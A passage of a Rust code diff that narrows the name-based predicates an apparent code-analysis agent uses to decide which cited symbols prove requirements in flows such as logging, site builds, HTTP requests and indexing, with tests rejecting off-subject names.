— the convention this recognises exists in +/// `camelCase` front-end code and nowhere else, which is also why the export has to sit on a +/// script surface. fn names_a_hook(citation: &AgentCitationDto) -> bool { let segment = terminal_segment_raw(&citation.display_name); let Some(rest) = segment.strip_prefix("use") else { return false; }; - match rest.chars().next() { - Some(next) => next.is_ascii_uppercase() || next == '_' || next == '-', - None => false, - } + rest.chars() + .next() + .is_some_and(|next| next.is_ascii_uppercase()) } pub(crate) fn citation_owns_hook_public_export(citation: &AgentCitationDto) -> bool { matches!(citation.kind, NodeKind::FUNCTION | NodeKind::METHOD) + && is_script_surface(citation) && names_a_hook(citation) && !names_token(citation, &["cache", "caches"]) } +/// Serializing *the cache key*. Being a `serialize*` function on a script surface is the shape of +/// every `serializeSettings`, `serializeForm` and `serializeQueryString` ever written; the +/// requirement is about the key, so the key has to be named. pub(crate) fn citation_owns_hook_key_serialization(citation: &AgentCitationDto) -> bool { owns_behavior(citation) && is_script_surface(citation) + && names_token(citation, &["key", "keys"]) && (names_token_prefix(citation, &["serializ", "serialis"]) - || (names_token(citation, &["key", "keys"]) - && names_token(citation, &["hash", "stable", "stringify"]))) + || names_token(citation, &["hash", "stable", "stringify"])) } +/// The helper that holds cache state, not any method that touches a cache. `Cache.put` and +/// `Cache.get` are the cache's own API on every cache in every repository; this requirement is the +/// hook library's helper *around* one, so the anchor has to name the helper. pub(crate) fn citation_owns_hook_cache_helper(citation: &AgentCitationDto) -> bool { owns_behavior(citation) && is_script_surface(citation) && names_token(citation, &["cache", "caches"]) + && (names_token( + citation, + &["helper", "helpers", "provider", "context", "state", "store"], + ) || names_token_prefix(citation, &["make", "creat", "init"])) } pub(crate) fn citation_owns_hook_mutation_flow(citation: &AgentCitationDto) -> bool { @@ -439,22 +480,38 @@ pub(crate) fn citation_owns_buffer_read_write(citation: &AgentCitationDto) -> bo // Logger record + handler // --------------------------------------------------------------------------- +/// Anchors that belong to a logging subsystem. "record" and "handler" are two of the most reused +/// words in any codebase — `createUserRecord` is a database row and `handleClick` is a UI callback — +/// so a carrier that reads only those words speaks for every subsystem at once. +fn belongs_to_logging(citation: &AgentCitationDto) -> bool { + names_or_path_token(citation, &["log", "logs", "logger", "loggers", "logging"]) +} + +/// Creating the record a logger emits. The logging factor is read from the *name*: a +/// `createUserRecord` that happens to sit in `src/logging/` is still a database row, and letting +/// the directory supply the subsystem is how an off-subject symbol inside a flow's own folder +/// closes that flow's requirement. pub(crate) fn citation_owns_log_record_creation(citation: &AgentCitationDto) -> bool { owns_behavior(citation) && { let tokens = name_tokens(citation); - has_token(&tokens, &["record", "records"]) + has_token(&tokens, &["log", "logs", "logger", "loggers", "logging"]) + && has_token(&tokens, &["record", "records"]) && !any_token_starts_with(&tokens, &["handler", "handle"]) - && (has_token(&tokens, &["add", "create", "make", "build", "log"]) - || tokens.as_slice() == ["record"]) + && has_token(&tokens, &["add", "create", "make", "build", "log"]) } } /// Processing a record, not registering something that might: a symbol that pushes a handler onto /// a stack names a handler but does nothing with a record, so it must not close this requirement. +/// +/// The anchor has to name the *handler* — the noun — and not merely start with the verb "handle". +/// `handleClick`, `handleScroll` and `handleResize` are callbacks in every front end ever written +/// and were each accepted here, because `handle` is a prefix of `handler` and the second factor +/// accepted the same prefix again. pub(crate) fn citation_owns_log_handler_processing(citation: &AgentCitationDto) -> bool { - owns_behavior(citation) && { + owns_behavior(citation) && belongs_to_logging(citation) && { let tokens = name_tokens(citation); - let names_a_handler = any_token_starts_with(&tokens, &["handler", "handle"]); + let names_a_handler = has_token(&tokens, &["handler", "handlers"]); let only_registers = has_token( &tokens, &["push", "pop", "add", "remove", "set", "register"], @@ -462,7 +519,7 @@ pub(crate) fn citation_owns_log_handler_processing(citation: &AgentCitationDto) names_a_handler && !only_registers && (has_token(&tokens, &["write", "emit", "flush", "batch", "interface"]) - || any_token_starts_with(&tokens, &["handle", "process"])) + || any_token_starts_with(&tokens, &["process"])) } } @@ -472,6 +529,12 @@ pub(crate) fn citation_owns_log_handler_processing(citation: &AgentCitationDto) /// Anchors that belong to a static-site build. Without this, `Cache.write` in `lib/cache.rb` closed /// the site's terminal boundary purely because its name contains "write". +/// +/// Two words are deliberately absent. "view"/"views" is the MVC directory every server framework +/// ships — `app/views/` in a Rails app is not a static site, and admitting it let `Cache.write` and +/// `renderChart` back in through the path. "render" is this flow's *step*, not its subject: a +/// carrier whose subsystem factor and step factor can both be satisfied by one word has one factor, +/// which is how `renderChart` proved a site renderer. The noun `renderer` stays. fn belongs_to_site_build(citation: &AgentCitationDto) -> bool { names_or_path_token( citation, @@ -495,29 +558,77 @@ fn belongs_to_site_build(citation: &AgentCitationDto) -> bool { "themes", "asset", "assets", - "view", - "views", - "render", "renderer", "generator", ], ) } +/// The site-build flow is the one place a *path* still supplies the subsystem: a build phase is +/// named for its phase (`Build#process`), not for the site, so requiring the site in the name would +/// reject the real anchors. That makes the two carriers below responsible for a second, independent +/// factor read from the name — otherwise every symbol filed under `lib/site/` closed them, which is +/// how `buildDnsRecord`, `readManifest` and `Cache.write` each proved a static-site build. +/// +/// The name has to say *what* is being built or written, and separately *what is being done to it*. +/// One word may not do both jobs. +fn names_site_build_object(citation: &AgentCitationDto) -> bool { + names_token( + citation, + &[ + "site", + "sites", + "build", + "builder", + "generator", + "pipeline", + "page", + "pages", + "post", + "posts", + "document", + "documents", + "layout", + "layouts", + "template", + "templates", + "collection", + "collections", + "renderer", + "asset", + "assets", + "theme", + "themes", + "file", + "files", + "html", + ], + ) +} + pub(crate) fn citation_owns_site_lifecycle(citation: &AgentCitationDto) -> bool { - owns_behavior(citation) && belongs_to_site_build(citation) && { - let tokens = name_tokens(citation); - has_token(&tokens, &["site", "build", "process", "pipeline"]) - && !has_token(&tokens, &["render", "write", "read"]) - && !any_token_starts_with(&tokens, &["render", "writ", "read"]) - } + owns_behavior(citation) + && belongs_to_site_build(citation) + && names_site_build_object(citation) + && { + let tokens = name_tokens(citation); + has_token( + &tokens, + &["process", "run", "start", "execute", "generate", "phases"], + ) && !has_token(&tokens, &["render", "write", "read"]) + && !any_token_starts_with(&tokens, &["render", "writ", "read"]) + } } pub(crate) fn citation_owns_site_terminal(citation: &AgentCitationDto) -> bool { owns_behavior(citation) && belongs_to_site_build(citation) - && (names_token(citation, &["output", "outputs", "emit", "emits"]) - || names_token_prefix(citation, &["render", "writ", "read"])) + && names_site_build_object(citation) + // `render` is matched whole while `writ`/`read` stay prefixes, because "renderer" is in the + // object list above: a prefix here would let that one word satisfy both factors, and a + // carrier whose two factors can be satisfied by one word has one factor. + && (names_token(citation, &["output", "outputs", "emit", "emits", "render", "renders"]) + || names_token_prefix(citation, &["writ", "read"])) } // --------------------------------------------------------------------------- @@ -526,8 +637,11 @@ pub(crate) fn citation_owns_site_terminal(citation: &AgentCitationDto) -> bool { /// Anchors that belong to an object mapper. "profile" and "plan" are ordinary words — `userProfile` /// closed the mapper's configuration requirement until the carrier asked which subsystem it is in. +/// +/// Read from the name: any symbol dropped into a `mapping/` directory would otherwise inherit the +/// subsystem it happens to be filed under. fn belongs_to_object_mapper(citation: &AgentCitationDto) -> bool { - names_or_path_token( + names_token( citation, &[ "map", "maps", "mapper", "mappers", "mapping", "mappings", "typemap", @@ -546,14 +660,14 @@ pub(crate) fn citation_owns_mapper_configuration(citation: &AgentCitationDto) -> && !names_token_prefix(citation, &["plan", "execut", "pipeline"]) } +/// The plan a mapper executes. "mapper" and "mapping" are absent from the step list on purpose: +/// they are what `belongs_to_object_mapper` already asks for, so listing them here let a symbol +/// named nothing but `Mapper` satisfy both of this carrier's factors at once. pub(crate) fn citation_owns_mapper_execution(citation: &AgentCitationDto) -> bool { owns_behavior(citation) && belongs_to_object_mapper(citation) && !names_mapper_configuration(citation) - && names_token_prefix( - citation, - &["plan", "execut", "pipeline", "mapper", "mapping"], - ) + && names_token_prefix(citation, &["plan", "execut", "pipeline"]) } // --------------------------------------------------------------------------- @@ -565,7 +679,7 @@ pub(crate) fn citation_owns_mapper_execution(citation: &AgentCitationDto) -> boo /// it to the formatting surface is what stops `CliParseError` in `src/cli/parse.cc` from standing /// in for the formatter's fallback. fn belongs_to_runtime_formatting(citation: &AgentCitationDto) -> bool { - names_or_path_token( + names_token( citation, &[ "format", @@ -607,6 +721,260 @@ pub(crate) fn citation_owns_format_errors(citation: &AgentCitationDto) -> bool { ) } +// --------------------------------------------------------------------------- +// Subsystem scopes for the role-classified requirements +// +// The other half of the requirement tables does not use a carrier at all: it asks the shared +// evidence-role classifier "what kind of thing is this citation". That classifier is deliberately +// coarse — it answers a ranking question, not a coverage one — and a great deal of it keys on the +// *path*: anything under `runtime/` is runtime orchestration, anything under `indexer/` is symbol +// extraction, anything under `app/`, `views/` or `pages/` is route handling, anything under +// `flags/` is argument planning. So every symbol in those directories closed the requirement that +// listed the role, whatever the symbol actually was. +// +// These scopes are the same second factor the carriers already carry, made available to the +// role-classified requirements. They read the citation's own *name*: a directory can tell you where +// a symbol was filed, never what it does, and letting a directory supply the subsystem is precisely +// what lets an off-subject symbol inside a flow's own folder close that flow's requirement. +// --------------------------------------------------------------------------- + +/// Indexing: discovering files, extracting symbols, and persisting them. +pub(crate) fn flow_belongs_to_indexing(citation: &AgentCitationDto) -> bool { + names_token( + citation, + &[ + "index", + "indexes", + "indexed", + "indexer", + "indexers", + "indexing", + "symbol", + "symbols", + "snapshot", + "snapshots", + "workspace", + "workspaces", + "candidate", + "candidates", + "catalog", + "catalogs", + "ingest", + "crawl", + ], + ) +} + +/// A server receiving and routing an inbound request. +pub(crate) fn flow_belongs_to_server_request(citation: &AgentCitationDto) -> bool { + names_token( + citation, + &[ + "request", + "requests", + "route", + "routes", + "router", + "routers", + "routing", + "controller", + "controllers", + "handler", + "handlers", + "endpoint", + "endpoints", + "server", + "servers", + "middleware", + "http", + "https", + "protocol", + "dispatch", + "dispatcher", + // The name each ecosystem gives the server-to-application gateway. These are protocol + // names in the same sense as "http", not product names: a server's request entrypoint + // is routinely called `wsgi_app`, `rack_app` or `service` with no other request word in + // sight. + "wsgi", + "asgi", + "cgi", + "fastcgi", + "rack", + "servlet", + "gateway", + ], + ) +} + +/// A client assembling and issuing an outbound request. +pub(crate) fn flow_belongs_to_client_request(citation: &AgentCitationDto) -> bool { + names_token( + citation, + &[ + "client", + "clients", + "http", + "https", + "request", + "requests", + "instance", + "instances", + "factory", + "factories", + "session", + "sessions", + "transport", + "transports", + "adapter", + "adapters", + "send", + "sends", + "fetch", + "url", + "urls", + "connection", + "connections", + ], + ) +} + +/// Where a request leaves the process and a response comes back. +pub(crate) fn flow_belongs_to_request_terminal(citation: &AgentCitationDto) -> bool { + names_token( + citation, + &[ + "adapter", + "adapters", + "transport", + "transports", + "response", + "responses", + "socket", + "sockets", + "stream", + "streams", + "writer", + "sink", + "buffer", + "send", + "sends", + "sender", + ], + ) +} + +/// A URL session and the delegate callbacks it drives. +pub(crate) fn flow_belongs_to_url_session(citation: &AgentCitationDto) -> bool { + names_token( + citation, + &[ + "session", + "sessions", + "task", + "tasks", + "delegate", + "delegates", + "url", + "urls", + "request", + "requests", + "response", + "responses", + "client", + "clients", + "transport", + "connection", + "connections", + ], + ) +} + +/// Bringing a command server up. +pub(crate) fn flow_belongs_to_command_server(citation: &AgentCitationDto) -> bool { + names_token( + citation, + &[ + "server", + "servers", + "serve", + "daemon", + "bootstrap", + "startup", + "init", + "main", + "listen", + "listener", + ], + ) +} + +/// The loop that waits for readiness and fires callbacks. +pub(crate) fn flow_belongs_to_event_loop(citation: &AgentCitationDto) -> bool { + names_token( + citation, + &[ + "event", "events", "loop", "loops", "poll", "polling", "select", "epoll", "kqueue", + "reactor", "tick", + ], + ) +} + +/// Reading a command off the wire. +pub(crate) fn flow_belongs_to_network_input(citation: &AgentCitationDto) -> bool { + names_token( + citation, + &[ + "network", + "networking", + "socket", + "sockets", + "connection", + "connections", + "client", + "clients", + "query", + "queries", + "protocol", + "wire", + ], + ) +} + +/// Choosing and running the command a request named. +pub(crate) fn flow_belongs_to_command_dispatch(citation: &AgentCitationDto) -> bool { + names_token( + citation, + &[ + "command", + "commands", + "dispatch", + "dispatcher", + "table", + "handler", + "handlers", + "exec", + "execute", + ], + ) +} + +/// Planning and running a search. +pub(crate) fn flow_belongs_to_search(citation: &AgentCitationDto) -> bool { + names_token( + citation, + &[ + "search", "searches", "searcher", "query", "queries", "grep", "match", "matcher", + "matchers", "args", "argv", "arg", "main", "worker", "printer", + ], + ) +} + +/// A schema requirement is proved by the schema file, so here the file *is* the subsystem: a `.sql` +/// anchor has no identifier of its own to scope by. +pub(crate) fn flow_belongs_to_sql_schema(citation: &AgentCitationDto) -> bool { + path_has_any_extension(citation, &[".sql"]) +} + #[cfg(test)] mod tests { use super::*; @@ -787,4 +1155,163 @@ mod tests { NodeKind::METHOD ))); } + + /// Each of these is a whole *family* of symbol, not one symbol: the HTTP verb set on any + /// receiver, the `handle*` callback on any event, the `*Record` builder for any row, and the + /// snake- or kebab-cased `use_*` in any language. Each family was accepted in full, and each + /// is put back inside its own subsystem here rather than excluded by name. + /// + /// The receiver of each rejection sits in the accepting flow's *own* directory, because a + /// carrier scoped by path rather than by name re-opens the moment a symbol is filed next to + /// the evidence it is impersonating. + #[test] + fn carriers_reject_whole_families_of_off_subject_name() { + // A verb-named accessor is not a client's convenience method, wherever it is filed. + for name in [ + "Store.get", + "Store.delete", + "Cache.put", + "FeatureFlags.options", + "Queue.head", + "Matrix.post", + "Palette.patch", + ] { + assert!( + !citation_owns_client_request_method(&citation( + name, + "lib/client.dart", + NodeKind::METHOD + )), + "{name} is a verb-named accessor, not an HTTP client's request method" + ); + } + assert!(citation_owns_client_request_method(&citation( + "Client.get", + "lib/client.dart", + NodeKind::METHOD + ))); + + // A `handle*` callback is not a logging framework's record processing. + for name in [ + "handleClick", + "handleKeypress", + "handleDragStart", + "handleScroll", + "handleResize", + ] { + assert!( + !citation_owns_log_handler_processing(&citation( + name, + "src/logging/Handler.php", + NodeKind::FUNCTION + )), + "{name} names the verb `handle`, not a log handler" + ); + } + assert!(citation_owns_log_handler_processing(&citation( + "AbstractProcessingHandler.write", + "src/logging/Handler.php", + NodeKind::METHOD + ))); + + // A `*Record` builder is not a logger's record creation. + for name in [ + "createUserRecord", + "createDnsRecord", + "addBillingRecord", + "makeInventoryRecord", + ] { + assert!( + !citation_owns_log_record_creation(&citation( + name, + "src/logging/Logger.php", + NodeKind::FUNCTION + )), + "{name} builds a row, not a log record" + ); + } + assert!(citation_owns_log_record_creation(&citation( + "Logger.addRecord", + "src/logging/Logger.php", + NodeKind::METHOD + ))); + + // `use_` and `use-` are not the hook naming convention, and a hook lives on a script. + for name in ["use_temp_dir", "use-legacy-mode", "use_default_locale"] { + assert!( + !citation_owns_hook_public_export(&citation( + name, + "src/index/use-data.ts", + NodeKind::FUNCTION + )), + "{name} is not the `use` + capital hook convention" + ); + } + assert!(!citation_owns_hook_public_export(&citation( + "useData", + "src/index/use_data.rs", + NodeKind::FUNCTION + ))); + assert!(citation_owns_hook_public_export(&citation( + "useData", + "src/index/use-data.ts", + NodeKind::FUNCTION + ))); + + // Serializing something on a script surface is not serializing the cache key, and calling + // a cache is not the hook's cache helper. + assert!(!citation_owns_hook_key_serialization(&citation( + "serializeSettings", + "src/_internal/utils/serialize.ts", + NodeKind::FUNCTION + ))); + assert!(citation_owns_hook_key_serialization(&citation( + "serializeKey", + "src/_internal/utils/serialize.ts", + NodeKind::FUNCTION + ))); + for name in ["Cache.put", "Cache.get", "Cache.write"] { + assert!( + !citation_owns_hook_cache_helper(&citation( + name, + "src/_internal/utils/helper.ts", + NodeKind::METHOD + )), + "{name} is a cache's own API, not the hook library's helper around one" + ); + } + assert!(citation_owns_hook_cache_helper(&citation( + "makeCacheHelper", + "src/_internal/utils/helper.ts", + NodeKind::FUNCTION + ))); + + // A step word inside the site build's own directory is not the site build. + for name in [ + "Cache.write", + "readManifest", + "renderChart", + "buildDnsRecord", + ] { + let anchor = citation(name, "lib/site/renderer.rb", NodeKind::METHOD); + assert!( + !citation_owns_site_terminal(&anchor), + "{name} names no page, post, document or renderer to write" + ); + assert!( + !citation_owns_site_lifecycle(&anchor), + "{name} names no site-build phase" + ); + } + assert!(citation_owns_site_terminal(&citation( + "Renderer.render", + "lib/site/renderer.rb", + NodeKind::METHOD + ))); + assert!(citation_owns_site_lifecycle(&citation( + "Build.process", + "lib/site/build.rb", + NodeKind::METHOD + ))); + } } diff --git a/crates/codestory-runtime/src/agent/packet_evidence_roles.rs b/crates/codestory-runtime/src/agent/packet_evidence_roles.rs index a670505f4..bc1c6125a 100644 --- a/crates/codestory-runtime/src/agent/packet_evidence_roles.rs +++ b/crates/codestory-runtime/src/agent/packet_evidence_roles.rs @@ -154,6 +154,10 @@ pub(crate) fn packet_evidence_role(citation: &AgentCitationDto) -> Option Option Option bool, + roles: &'static [PacketEvidenceRole], + }, /// Covered by a citation that passes a structural ownership check, used where the evidence - /// role is too coarse to separate a requirement from its siblings. + /// role is too coarse to separate a requirement from its siblings. The carriers carry their own + /// subsystem factor. CitedCarrier(fn(&AgentCitationDto) -> bool), } impl EvidencePredicate { pub(crate) fn citation_proves(self, citation: &AgentCitationDto) -> bool { match self { - Self::CitedRoles(roles) => { - packet_evidence_role(citation).is_some_and(|role| roles.contains(&role)) + Self::CitedRoles { subsystem, roles } => { + subsystem(citation) + && packet_evidence_role(citation).is_some_and(|role| roles.contains(&role)) + && role_survives_without_its_directory(citation, roles) } Self::CitedCarrier(carrier) => carrier(citation), } } } +/// Whether the citation still earns one of `roles` once its directories are taken away. +/// +/// A path says where a symbol was filed. It cannot say what the symbol does, and the shared role +/// classifier reads it anyway: anything under `runtime/` is runtime orchestration, anything under +/// `app/`, `views/` or `pages/` is route handling, anything under `flags/` is argument planning, +/// anything under `protocol/` is the app-server request protocol. A requirement that took any role +/// the classifier produced therefore inherited every symbol filed in those directories — a symbol +/// named `request` in `src/runtime/` closed a server's dispatch step, and one named `handler` in +/// `app/views/` closed its entrypoint. +/// +/// Asking the question a second time with only the file name left makes the path a *narrowing* +/// factor: a `tests/` path still classifies as test coverage and still fails, an extension is still +/// there for the `.sql` roles, but no directory can hand out a role on its own. This can only +/// reject citations the first question already accepted, never admit new ones. +fn role_survives_without_its_directory( + citation: &AgentCitationDto, + roles: &[PacketEvidenceRole], +) -> bool { + let Some(path) = citation.file_path.as_deref() else { + return true; + }; + let file_name = path.rsplit(['/', '\\']).next().unwrap_or(path); + if file_name == path { + return true; + } + let mut without_directories = citation.clone(); + without_directories.file_path = Some(file_name.to_string()); + packet_evidence_role(&without_directories).is_some_and(|role| roles.contains(&role)) +} + #[derive(Debug, Clone, Copy)] pub(crate) struct FlowRequirement { pub id: &'static str, @@ -340,24 +388,30 @@ const INDEXING_FLOW: &[FlowRequirement] = &[ role: FlowRole::Entrypoint, query_seeds: &["indexing entrypoint"], coverage_mode: CoverageMode::RequiresResolvedSourceOrGraph, - evidence: EvidencePredicate::CitedRoles(&[ - PacketEvidenceRole::IndexingWorkQueue, - PacketEvidenceRole::CommandEntrypoint, - PacketEvidenceRole::RuntimeOrchestration, - ]), + evidence: EvidencePredicate::CitedRoles { + subsystem: flow_belongs_to_indexing, + roles: &[ + PacketEvidenceRole::IndexingWorkQueue, + PacketEvidenceRole::CommandEntrypoint, + PacketEvidenceRole::RuntimeOrchestration, + ], + }, }, FlowRequirement { id: "indexing_storage", role: FlowRole::StateOrStorage, query_seeds: &["file discovery", "symbol extraction", "storage persistence"], coverage_mode: CoverageMode::AllowsSourceRange, - evidence: EvidencePredicate::CitedRoles(&[ - PacketEvidenceRole::PersistenceAndSearchProjection, - PacketEvidenceRole::SymbolExtraction, - PacketEvidenceRole::SnapshotRefresh, - PacketEvidenceRole::WorkspaceDiscoveryAndPlanning, - PacketEvidenceRole::CandidateFileConstruction, - ]), + evidence: EvidencePredicate::CitedRoles { + subsystem: flow_belongs_to_indexing, + roles: &[ + PacketEvidenceRole::PersistenceAndSearchProjection, + PacketEvidenceRole::SymbolExtraction, + PacketEvidenceRole::SnapshotRefresh, + PacketEvidenceRole::WorkspaceDiscoveryAndPlanning, + PacketEvidenceRole::CandidateFileConstruction, + ], + }, }, ]; @@ -367,32 +421,41 @@ const SERVER_REQUEST_DISPATCH_FLOW: &[FlowRequirement] = &[ role: FlowRole::Registration, query_seeds: &["request entrypoint", "route registration"], coverage_mode: CoverageMode::RequiresResolvedSourceOrGraph, - evidence: EvidencePredicate::CitedRoles(&[ - PacketEvidenceRole::RouteHandling, - PacketEvidenceRole::AppServerRequestProtocol, - ]), + evidence: EvidencePredicate::CitedRoles { + subsystem: flow_belongs_to_server_request, + roles: &[ + PacketEvidenceRole::RouteHandling, + PacketEvidenceRole::AppServerRequestProtocol, + ], + }, }, FlowRequirement { id: "request_dispatch", role: FlowRole::Dispatch, query_seeds: &["request dispatch", "handler dispatch", "transport adapter"], coverage_mode: CoverageMode::RequiresResolvedSourceOrGraph, - evidence: EvidencePredicate::CitedRoles(&[ - PacketEvidenceRole::RequestDispatch, - PacketEvidenceRole::CommandDispatch, - PacketEvidenceRole::RuntimeOrchestration, - ]), + evidence: EvidencePredicate::CitedRoles { + subsystem: flow_belongs_to_server_request, + roles: &[ + PacketEvidenceRole::RequestDispatch, + PacketEvidenceRole::CommandDispatch, + PacketEvidenceRole::RuntimeOrchestration, + ], + }, }, FlowRequirement { id: "request_terminal", role: FlowRole::TerminalBoundary, query_seeds: &["response finalization", "transport send"], coverage_mode: CoverageMode::AllowsSourceRange, - evidence: EvidencePredicate::CitedRoles(&[ - PacketEvidenceRole::TransportAdapter, - PacketEvidenceRole::EventOutputProcessing, - PacketEvidenceRole::BufferedIo, - ]), + evidence: EvidencePredicate::CitedRoles { + subsystem: flow_belongs_to_request_terminal, + roles: &[ + PacketEvidenceRole::TransportAdapter, + PacketEvidenceRole::EventOutputProcessing, + PacketEvidenceRole::BufferedIo, + ], + }, }, ]; @@ -402,24 +465,33 @@ const CLIENT_REQUEST_DISPATCH_FLOW: &[FlowRequirement] = &[ role: FlowRole::Entrypoint, query_seeds: &["default instance", "request method", "request entrypoint"], coverage_mode: CoverageMode::RequiresResolvedSourceOrGraph, - evidence: EvidencePredicate::CitedRoles(&[ - PacketEvidenceRole::ClientFactory, - PacketEvidenceRole::CommandEntrypoint, - ]), + evidence: EvidencePredicate::CitedRoles { + subsystem: flow_belongs_to_client_request, + roles: &[ + PacketEvidenceRole::ClientFactory, + PacketEvidenceRole::CommandEntrypoint, + ], + }, }, FlowRequirement { id: "request_dispatch", role: FlowRole::Dispatch, query_seeds: &["request dispatch", "adapters", "transport adapter"], coverage_mode: CoverageMode::RequiresResolvedSourceOrGraph, - evidence: EvidencePredicate::CitedRoles(&[PacketEvidenceRole::RequestDispatch]), + evidence: EvidencePredicate::CitedRoles { + subsystem: flow_belongs_to_client_request, + roles: &[PacketEvidenceRole::RequestDispatch], + }, }, FlowRequirement { id: "request_terminal", role: FlowRole::TerminalBoundary, query_seeds: &["response finalization", "transport send"], coverage_mode: CoverageMode::AllowsSourceRange, - evidence: EvidencePredicate::CitedRoles(&[PacketEvidenceRole::TransportAdapter]), + evidence: EvidencePredicate::CitedRoles { + subsystem: flow_belongs_to_request_terminal, + roles: &[PacketEvidenceRole::TransportAdapter], + }, }, ]; @@ -437,23 +509,29 @@ const URL_SESSION_FLOW: &[FlowRequirement] = &[ role: FlowRole::Entrypoint, query_seeds: &["session request creation", "request task resume"], coverage_mode: CoverageMode::RequiresResolvedSourceOrGraph, - evidence: EvidencePredicate::CitedRoles(&[ - PacketEvidenceRole::ClientFactory, - PacketEvidenceRole::AppServerRequestProtocol, - PacketEvidenceRole::CommandEntrypoint, - ]), + evidence: EvidencePredicate::CitedRoles { + subsystem: flow_belongs_to_url_session, + roles: &[ + PacketEvidenceRole::ClientFactory, + PacketEvidenceRole::AppServerRequestProtocol, + PacketEvidenceRole::CommandEntrypoint, + ], + }, }, FlowRequirement { id: "session_callbacks", role: FlowRole::Dispatch, query_seeds: &["session delegate callbacks", "data request validation"], coverage_mode: CoverageMode::AllowsSourceRange, - evidence: EvidencePredicate::CitedRoles(&[ - PacketEvidenceRole::RequestDispatch, - PacketEvidenceRole::EventLoop, - PacketEvidenceRole::RouteHandling, - PacketEvidenceRole::TransportAdapter, - ]), + evidence: EvidencePredicate::CitedRoles { + subsystem: flow_belongs_to_url_session, + roles: &[ + PacketEvidenceRole::RequestDispatch, + PacketEvidenceRole::EventLoop, + PacketEvidenceRole::RouteHandling, + PacketEvidenceRole::TransportAdapter, + ], + }, }, ]; @@ -462,7 +540,10 @@ const CLIENT_PUBLIC_FACADE_REQUIREMENT: FlowRequirement = FlowRequirement { role: FlowRole::Entrypoint, query_seeds: &["http top level helper", "public client facade"], coverage_mode: CoverageMode::RequiresResolvedSourceOrGraph, - evidence: EvidencePredicate::CitedRoles(&[PacketEvidenceRole::ClientFactory]), + evidence: EvidencePredicate::CitedRoles { + subsystem: flow_belongs_to_client_request, + roles: &[PacketEvidenceRole::ClientFactory], + }, }; const CLIENT_INTERFACE_HELPERS_REQUIREMENT: FlowRequirement = FlowRequirement { @@ -486,10 +567,13 @@ const CLIENT_TRANSPORT_SEND_REQUIREMENT: FlowRequirement = FlowRequirement { role: FlowRole::Dispatch, query_seeds: &["transport send", "client send implementation"], coverage_mode: CoverageMode::RequiresResolvedSourceOrGraph, - evidence: EvidencePredicate::CitedRoles(&[ - PacketEvidenceRole::TransportAdapter, - PacketEvidenceRole::RequestDispatch, - ]), + evidence: EvidencePredicate::CitedRoles { + subsystem: flow_belongs_to_client_request, + roles: &[ + PacketEvidenceRole::TransportAdapter, + PacketEvidenceRole::RequestDispatch, + ], + }, }; const CLIENT_RESPONSE_MATERIALIZATION_REQUIREMENT: FlowRequirement = FlowRequirement { @@ -537,10 +621,13 @@ const COMMAND_SERVER_BOOTSTRAP_REQUIREMENT: FlowRequirement = FlowRequirement { role: FlowRole::Entrypoint, query_seeds: &["server bootstrap", "command server entrypoint"], coverage_mode: CoverageMode::RequiresResolvedSourceOrGraph, - evidence: EvidencePredicate::CitedRoles(&[ - PacketEvidenceRole::CommandEntrypoint, - PacketEvidenceRole::RuntimeOrchestration, - ]), + evidence: EvidencePredicate::CitedRoles { + subsystem: flow_belongs_to_command_server, + roles: &[ + PacketEvidenceRole::CommandEntrypoint, + PacketEvidenceRole::RuntimeOrchestration, + ], + }, }; const COMMAND_EVENT_LOOP_REQUIREMENT: FlowRequirement = FlowRequirement { @@ -548,7 +635,10 @@ const COMMAND_EVENT_LOOP_REQUIREMENT: FlowRequirement = FlowRequirement { role: FlowRole::Dispatch, query_seeds: &["event loop", "event loop source"], coverage_mode: CoverageMode::RequiresResolvedSourceOrGraph, - evidence: EvidencePredicate::CitedRoles(&[PacketEvidenceRole::EventLoop]), + evidence: EvidencePredicate::CitedRoles { + subsystem: flow_belongs_to_event_loop, + roles: &[PacketEvidenceRole::EventLoop], + }, }; const COMMAND_NETWORK_INPUT_REQUIREMENT: FlowRequirement = FlowRequirement { @@ -556,7 +646,10 @@ const COMMAND_NETWORK_INPUT_REQUIREMENT: FlowRequirement = FlowRequirement { role: FlowRole::Dispatch, query_seeds: &["network input", "network command input"], coverage_mode: CoverageMode::RequiresResolvedSourceOrGraph, - evidence: EvidencePredicate::CitedRoles(&[PacketEvidenceRole::NetworkCommandInput]), + evidence: EvidencePredicate::CitedRoles { + subsystem: flow_belongs_to_network_input, + roles: &[PacketEvidenceRole::NetworkCommandInput], + }, }; const COMMAND_DISPATCH_REQUIREMENT: FlowRequirement = FlowRequirement { @@ -564,10 +657,13 @@ const COMMAND_DISPATCH_REQUIREMENT: FlowRequirement = FlowRequirement { role: FlowRole::Dispatch, query_seeds: &["command dispatch", "command table dispatch"], coverage_mode: CoverageMode::RequiresResolvedSourceOrGraph, - evidence: EvidencePredicate::CitedRoles(&[ - PacketEvidenceRole::CommandDispatch, - PacketEvidenceRole::RequestDispatch, - ]), + evidence: EvidencePredicate::CitedRoles { + subsystem: flow_belongs_to_command_dispatch, + roles: &[ + PacketEvidenceRole::CommandDispatch, + PacketEvidenceRole::RequestDispatch, + ], + }, }; const SQL_SCHEMA_FLOW: &[FlowRequirement] = &[ @@ -576,14 +672,20 @@ const SQL_SCHEMA_FLOW: &[FlowRequirement] = &[ role: FlowRole::StateOrStorage, query_seeds: &["sql table definitions", "CREATE TABLE"], coverage_mode: CoverageMode::AllowsLexicalSource, - evidence: EvidencePredicate::CitedRoles(&[PacketEvidenceRole::SqlTableDefinition]), + evidence: EvidencePredicate::CitedRoles { + subsystem: flow_belongs_to_sql_schema, + roles: &[PacketEvidenceRole::SqlTableDefinition], + }, }, FlowRequirement { id: "sql_relationships", role: FlowRole::Configuration, query_seeds: &["foreign key relationships", "schema constraints"], coverage_mode: CoverageMode::AllowsLexicalSource, - evidence: EvidencePredicate::CitedRoles(&[PacketEvidenceRole::SqlRelationshipConstraint]), + evidence: EvidencePredicate::CitedRoles { + subsystem: flow_belongs_to_sql_schema, + roles: &[PacketEvidenceRole::SqlRelationshipConstraint], + }, }, ]; @@ -780,11 +882,14 @@ const SEARCH_EXECUTION_FLOW: &[FlowRequirement] = &[ role: FlowRole::Entrypoint, query_seeds: &["search entrypoint", "argument planning"], coverage_mode: CoverageMode::RequiresResolvedSourceOrGraph, - evidence: EvidencePredicate::CitedRoles(&[ - PacketEvidenceRole::SearchDriver, - PacketEvidenceRole::ArgumentPlanning, - PacketEvidenceRole::CommandEntrypoint, - ]), + evidence: EvidencePredicate::CitedRoles { + subsystem: flow_belongs_to_search, + roles: &[ + PacketEvidenceRole::SearchDriver, + PacketEvidenceRole::ArgumentPlanning, + PacketEvidenceRole::CommandEntrypoint, 